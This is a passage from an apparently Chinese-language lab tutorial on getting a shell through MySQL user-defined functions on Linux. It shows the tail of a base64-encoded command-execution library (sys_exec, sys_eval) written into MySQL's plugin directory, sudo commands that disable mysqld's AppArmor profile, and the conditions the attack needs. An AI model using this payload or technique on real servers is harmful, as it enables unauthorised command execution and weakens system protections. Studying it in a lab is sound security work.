i40AHN5c3RlbUBAR0xJQkNfMi4yLjUAcGNsb3NlQEBHTElCQ18yLjIuNQBmZ2V0c0BAR0xJQkNfMi4yLjUAc3lzX2V2YWwAc3lzX2dldABfX2dtb25fc3RhcnRfXwBzeXNfc2V0AG1lbWNweUBAR0xJQkNfMi4xNABsaWJfbXlzcWx1ZGZfc3lzX2luZm8AbWFsbG9jQEBHTElCQ18yLjIuNQBsaWJfbXlzcWx1ZGZfc3lzX2luZm9fZGVpbml0AHN5c19zZXRfaW5pdABfZW5kAHN5c19ldmFsX2RlaW5pdAByZWFsbG9jQEBHTElCQ18yLjIuNQBfX2Jzc19zdGFydABwb3BlbkBAR0xJQkNfMi4yLjUAc3lzX3NldF9kZWluaXQAc3lzX2V4ZWNfZGVpbml0AHN5c19ldmFsX2luaXQAc3lzX2dldF9pbml0AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AGxpYl9teXNxbHVkZl9zeXNfaW5mb19pbml0AAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAA8AEAAAAAAADwAQAAAAAAALQAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAKgCAAAAAAAAqAIAAAAAAACQAwAAAAAAAAQAAAABAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAAA4BgAAAAAAADgGAAAAAAAA5QEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAHggAAAAAAAAeCAAAAAAAAEwAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAAHAIAAAAAAAAcAgAAAAAAABAAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAACwCAAAAAAAALAIAAAAAAAAqAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAWAkAAAAAAABYCQAAAAAAADgBAAAAAAAAAwAAABUAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAAJAKAAAAAAAAkAoAAAAAAAAXAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAACwCgAAAAAAALAKAAAAAAAA4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAkAsAAAAAAACQCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAKALAAAAAAAAoAsAAAAAAABWCAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAAD4EwAAAAAAAPgTAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAAARQAAAAAAAABFAAAAAAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAAAQUAAAAAAAABBQAAAAAAACUAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAACYFAAAAAAAAJgUAAAAAAAAPAIAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAAEB4gAAAAAAAQHgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvwAAAA8AAAADAAAAAAAAABgeIAAAAAAAGB4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMsAAAAGAAAAAwAAAAAAAAAgHiAAAAAAACAeAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACCAAAAAQAAAAMAAAAAAAAA4B8gAAAAAADgHwAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1AAAAAEAAAADAAAAAAAAAAAgIAAAAAAAACAAAAAAAACAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN0AAAABAAAAAwAAAAAAAACAICAAAAAAAIAgAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADjAAAACAAAAAMAAAAAAAAAiCAgAAAAAACIIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6AAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAiCAAAAAAAAApAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAALggAAAAAAAAaAcAAAAAAAAaAAAAKgAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAgKAAAAAAAAHADAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAkCsAAAAAAADxAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==" into dumpfile "/usr/lib/mysql/plugin/mysqludf.so"
接着就能使用udf執行命令了
同樣會因為apparmor無法執行命令，所以需要繞過
apparmor
上面命令執行不成功主要是涉及到apparmor。自Feisty版本發行以來，Ubuntu以軟件包的形式提供，自Gutsy版本發行以來，Ubuntu默認運行。apparmor是ubuntu的一個用來限制程序行為的一個強制訪問系統。其實就是不讓你執行一些命令。那我們既然是做實驗就把他關了吧。
執行下面的命令
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
然后重啟mysql，
sudo service mysql restart
再執行命令就行了。
執行whoami，用戶為mysql，沒有提到root
總結
linux下想通過udf來getshell或提權要滿足以下條件：
- secure_file_priv要為空或者至少為plugin_dir所在目錄
- plugin_dir目錄下需要有寫的權限，而該目錄默認沒有寫權限。
即使udf提權提權成功，執行whoami得到的結果也是mysql，不能提權到root